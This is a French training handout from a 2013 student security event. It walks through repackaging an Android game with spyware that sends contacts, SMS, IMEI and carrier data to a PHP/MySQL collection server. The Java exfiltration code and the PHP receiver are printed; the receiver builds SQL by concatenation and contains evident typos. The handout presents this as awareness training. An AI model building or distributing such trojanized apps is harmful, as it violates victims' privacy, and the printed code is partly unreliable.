Club de la Sécurité Informatique à l INSAT Dans le cadre de la 3ème édition de la journée nationale de la sécurité informatique SECURIDAY 2013 Cyber War SECURINETS Présente Formateurs: 1. Emna BEY 2. Manel ABDELGHANI 3. Emna AKROUT 4. Firas HACHICHA
Table des matières I. Présentation de l'atelier :... 1 II.Présentation des outils utilisés :... 1 i. Dex2jar... 1 ii. Jd-gui... 1 iii. Apktool... 1 iv. Eclipse... 1 v. Android SDK... 1 vi. EasyPHP... 1 vii. Notepad++... 1 III.Topologie du réseau :... 2 IV.Configuration des outils :... 2 V.Développement :... 3 ii. Création du serveur :... 5 iii. Développement du malware :... 7 V.Scénario de test :... 8 VI.Conclusion :... 10 Page 1
I. Présentation de l'atelier : L'atelier Attaque Mobile consiste à ajouter un malware à une application Androïde existante. Ce malware permet de voler des informations se trouvant sur le téléphone de la victime (contacts, sms, nom de l'operateur, IMEI...). II. Présentation des outils utilisés : i. Dex2jar Cet outil permet de convertir des fichiers.dex en fichiers.class, sachant que le.dex est le format d'exécutable de Dalvik. Donc, dex2jar permet de régénérer le bytecode Java. ii. Jd-gui C est un utilitaire autonome graphique qui affiche les codes sources Java à partir des fichiers.class. Vous pouvez parcourir le code source reconstruit avec le Jd-gui pour un accès instantané aux méthodes et champs. iii. Apktool C est un outil de reverse engineering qui intègre Smali (assembleur) et Baksmali (désassembleur) iv. Eclipse C est un environnement de développement intégré libre, extensible, universel et polyvalent qui permet la réalisation de logiciels, de modélisation, de conception, de test et de reporting. v. Android SDK C est un kit de développement d applications Android qui inclut un débogueur, des bibliothèques logicielles, un émulateur basé sur QEMU, de la documentation, des exemples de code et des tutoriaux. vi. EasyPHP C est une plateforme de développement Web, permettant de faire fonctionner localement (sans se connecter à un serveur externe) des scripts PHP. EasyPHP n'est pas en soi un logiciel, mais un environnement comprenant deux serveurs : PHP. Un serveur web Apache Un serveur de bases de données MySQL vii. Notepad++ C est un éditeur de code source qui prend en charge plusieurs langages notamment le Page 1
III. Topologie du réseau : L'Androphone communique avec le serveur à travers Internet. pendant l'exécution de l'application contenant le malware il lui envoie les informations volées du téléphone. Le serveur les enregistre dans la base de donnée. IV. Configuration des outils : Vous pouvez télécharger les outils mentionnés précédemment à partir des liens suivants: Dex2jar : https://code.google.com/p/dex2jar/ Jd-gui : http://java.decompiler.free.fr/?q=jdgui Apktool : https://code.google.com/p/android-apktool/ Android SDK (contenant Eclipse): https://developer.android.com/sdk/index.html EasyPHP : http://www.easyphp.org/download.php Pour pouvoir utiliser Dex2jar, Jd-gui, Apktool directement, c'est à dire sans avoir à mentionner leurs chemins d'accès à chaque fois, il faut ajouter ces derniers à la fin de la variable d'environnement Path. Par exemple pour ajouter dex2jar, il faut aller dans Paramètres système avancés, Variables d' environnement et ensuite modifier la variable système Path. Page 2
V. Développement : i. Reverse Engineering : Pour commencer, il faut choisir une application à laquelle on pourra ajouter notre malware. Ici nous travaillerons sur "The Chkobba". Pour avoir accès au code de cette application, nous devons faire un Reverse Engineering à l aide des outils Dex2jar Jd-gui et Apktool comme suit: 1. Sur l'invite de commandes, on accède au dossier contenant l'application sur laquelle on veut effectuer un reverse engineering et on utilise dex2jar pour régénérer le byte code Java à partir du.apk. 2. On accède au code obtenu à l aide du désassembleur Jd-gui. Page 3
3. On enregistre le projet obtenu. 4. Maintenant qu'on a le code, on récupère les ressources en désassemblant l'application grâce à Baksmali qui est intégré dans Apktool. 5. On récupère le dossier res qui contient les ressources de l'application et qui se trouve dans le dossier généré par l'étape précédente. Page 4
6. On rassemble le tout dans un projet de type Android Application sous Eclipse. Attention : Le mécanisme de reverse engineering génère souvent des erreurs d'interprétation. ii. Création du serveur : On crée, maintenant, le serveur qui recevra les données envoyées par le téléphone. On utilisera pour ce faire EasyPHP: 1. On accède au PHPMyAdmin à partir de la page d'accueil de EasyPHP. Page 5
2. On crée une nouvelle base de données qu on nommera Victimes. 3. On ajoute, à la base Victimes, la table contacts contenant un identifiant, le nom du contact et son numéro de téléphone. Page 6
4. On crée de la même façon une table Messages qui contiendra les messages et leurs émetteurs et une table InfosTel qui contiendra les informations sur le téléphone (IMEI, numéro de série de la carte SIM et l opérateur téléphonique). 5. Pour finir, sur Notepad++, on crée une page PHP AjoutInfos.php qui recevra les informations du téléphone et les enregistrera dans la base de données Victimes. cidessous,le code commenté de l'ajout des contacts ( l'ajout des messages et des autres informations se fera de la même façon). //création d'une connexion à la base $connexion = mysql_connect('localhost', 'root', '') OR die('erreur de connexion'); mysql_select_db('infovictime') OR die('sélection de la base impossible'); /* tester si la chaine "contacts" envoyée par le telephone n'est pas vide ou nulle */ if (isset($_post['contacts'])) { /*division de la chaine reçue sous la forme nom1:numerotel1;nom2:numerotel2;... selon le separateur ";" */ $contacts = explode(';',$_post['contacts']); foreach($contacts as $contact) { if ( $contact!= ""){ /* division de la chaine "contact" qui est sous la forme nom:numerotel selon le seaprateur ":" */ $infos = explode(':', $contact); $nom = $infos[0]; $tel = $infos[1]; /* lancement de la requete d'enregistrement dans la table Contacts */ $requete ='insert into Contacts values (NULL,"'.$nom.'","'.$tel.'")'; mysql_query ($requete); } } } 6. Il faut ensuite placer cette page sous le répertoire www se trouvant sous le dossier d installation de EasyPHP. iii. Développement du malware : Maintenant que nous avons le code de l application et le serveur qui enregistre les données, on s attaque au développement du malware. 1. Tout d'abord, il faut ajouter les permission d'accès au contacts, SMS, état du téléphone et Internet dans le fichier AndroidManifest.xml. Page 7
<uses-permission android:name="android.permission.read_contacts"/> <uses-permission android:name="android.permission.internet"/> <uses-permission android:name="android.permission.read_sms"/> <uses-permission android:name="android.permission.read_phone_state"/> 2. On ajoute, ensuite, le code qui permet l accès aux données par exemple pour récupérer l IMEI on mettra : TelephonyManager tmanager = (TelephonyManager) getsystemservice(context.telephony_service); String imei = tmanager.getdeviceid(); 3. Pour l envoi de l IMEI au serveur, on fera : String url = "http://192.168.15.1/ajoutinfos.php"; ArrayList<NameValuePair> namevaluepairs = new ArrayList<NameValuePair>(); namevaluepairs.add(new BasicNameValuePair("imei", imei)); try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost(url); httppost.setentity(new UrlEncodedFormEntity(nameValuePairs)); HttpResponse response = httpclient.execute(httppost); } catch (Exception e) { Log.e("log_tag","Error in http connection " + e.tostring()); } V. Scénario de test : Sur l Androphone nous avons les Contacts et les SMS suivants : Page 8
On installe «The Chkobba.apk» sur l Androphone et on l exécute. Le jeu commence normalement jusqu au clic sur le bouton GO qui envoie les contacts, les SMS, l IMEI, l operateur et le numéro de série au serveur. Le serveur enregistre les informations reçues dans la base de données Victimes où nous aurons désormais: Dans la table Contacts : Dans la table InfosTel : Page 9
Dans la table Messages : VI. Conclusion : La plupart d entre nous possèdent un Smartphone, plus précisément un Androphone, et téléchargent surement pas mal d applications. Il faut savoir que ces applications s octroient des droits plus ou moins importants et peuvent aller jusqu à empiéter sur votre vie privée comme nous venons de le faire lors de ce tutoriel en récupérant les contacts, SMS et autres informations sans la connaissance de l'utilisateur. Il existe, tout de même, des applications pour remédier à cela et qui vous permettant de contrôler les autorisations de vos applications telles que: LBE PRIVACY GUARD App Permission Watcher Permissionn Friendly Apps et bien d'autres. Page 10